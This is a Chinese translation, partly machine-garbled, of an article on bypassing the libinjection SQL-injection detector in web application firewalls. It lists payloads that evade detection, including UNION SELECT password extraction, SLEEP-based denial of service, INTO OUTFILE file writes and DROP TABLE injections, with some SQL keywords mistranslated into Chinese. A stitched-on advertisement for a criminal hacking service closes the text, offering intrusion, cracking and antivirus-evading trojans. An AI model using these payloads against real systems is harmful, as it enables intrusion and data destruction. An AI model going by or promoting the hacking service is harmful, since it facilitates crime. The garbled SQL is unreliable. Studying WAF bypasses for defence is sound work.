写在前面的话 在我们开始之前,让我向您介绍libinjection。 Libinjection是一个非常受欢迎的开源项目[Transportation],由Signal Sciences的Nick Galbreath开发和维护。 在此之前,市场上绝大多数的WAF都是基于正则匹配(Regex)的,但是现在不一样了,很多的WAF(防火墙)以及NGWAF(下一代防火墙)出于性能方面的考虑,都会选择使用这个库来代替常规的正则表达式。例如,mod_security支持自2.7.2版本以来的libinjection(dectectSQLi-v2.7.4,detectXSS-v2.8.0)。 从技术角度来看,libinjection是一个基于C语言的SQLi词法解析分析器,它可以通过对不同语句进行词法分析和语法分析来实现对SQL语句以及HTML语句的解析。 但是,应该注意的是,在某些情况下,libinjection的效果可能不如正则表达式那么好。接下来我会告诉你为什么我这么认为。 libinjection解析器的未知令牌(token) 函数令牌,这是查找未知令牌的最简单方法。我们尝试列出所有可能的SQL函数,但这不太可能实现,因为仍有许多自定义函数。这是原因之一,另一个原因是各种SQL引擎(如MariaDB,MySQL,SQLite,PostgreSQL等)有许多不同的内置SQL函数。 这是一个简单的例子: 1 ?id=' - sqlite_version() UNION SELECT password FROM users- -
libinjection解析器的未知语境(context) 括号语境 如果攻击者想要执行拒绝服务(DoS)攻击并尝试通过SQL注入来获取数据库,他可能会使用以下查询: 1 ?ID=睡眠(9999) 但是,检测到这种尝试,并且安全产品可以有效地阻止这种攻击。但是,以下情况无法检测到: 1 ?ID=) - 睡眠(9999 因为libinjection不理解这种包围语境。 同样,我们可以在MySQL文件编写中使用类似的技术。例如,以下声明,它将在正常情况下被检测到: 1 ?id=1337 INTO OUTFILE 'xxx' - 但是,如果攻击者更改为以下形式或上下文,则无法检测到: 1 ?id=1337) INTO OUTFILE 'xxx' - 除了上面给出的情况之外,我们还可以在批量或多级查询中使用相同的技术。例如,以下语句将被检测并阻止: 1 ?id=123; DROP 表 用户 - 但是不会发现以下语句,因此攻击者会获取您的用户表: 1 ?id=123); DROP 表 用户 - 一个简单的数据提取有效载荷样本如下所示: 1 ?id=) 或 (选择 密码 FROM 用户 注释语境 在SQL语句的注释中执行注入 1 */UNION SELECT 密码 FROM users-- 总结 实际上,我们经常可以在SQL语句的注释区域中找到可行的注入点。 Libinjection无法检测注释区域的内容,因为它的SQL解析器根本不支持此上下文。 正如大家在本文中看到的那样,想要保护Web应用不受网络攻击其实是一件非常困难的事情,即便是我们对SQL注入攻击已经有着足够的了解了,但我们仍然不能保证SQLi不会发生在我们自己的服务器身上。无论你所使用的库有多么的流行,无论这个库有多么的高级,攻击者永远都会有新的方法来绕过它们。 本文由乘客安全翻译,作者:WisFree 原文链接:https://medium.com/@d0znpp/how-to-bypass-libinjection-in-many-waf-ngwaf-1e2513453c0f 黑客业务列表介绍和一般分类: 类别:攻击入侵破解开发 1:攻击业务订单:暂时取消所有此类业务订单[仅销售常规IDC流量] 2:入侵业务清单:包括网站源代码,办公系统,黑色系统,教育系统等。 3:破解业务类:软件,加密文件,二次打包,脱壳等。 4:二次开发业务清单:软件二次开发,源代码二次开发等 5:其他业务订单:特洛伊木马[通过所有防病毒],远程控制,特殊软件等 备注:未提及的业务订单可根据主要类别查询或直接联系客户服务。为避免浪费双方时间,请在咨询前阅读:业务交易流程及相关说明 注意:仅接受正式业务,个人无权接受。收集此内容。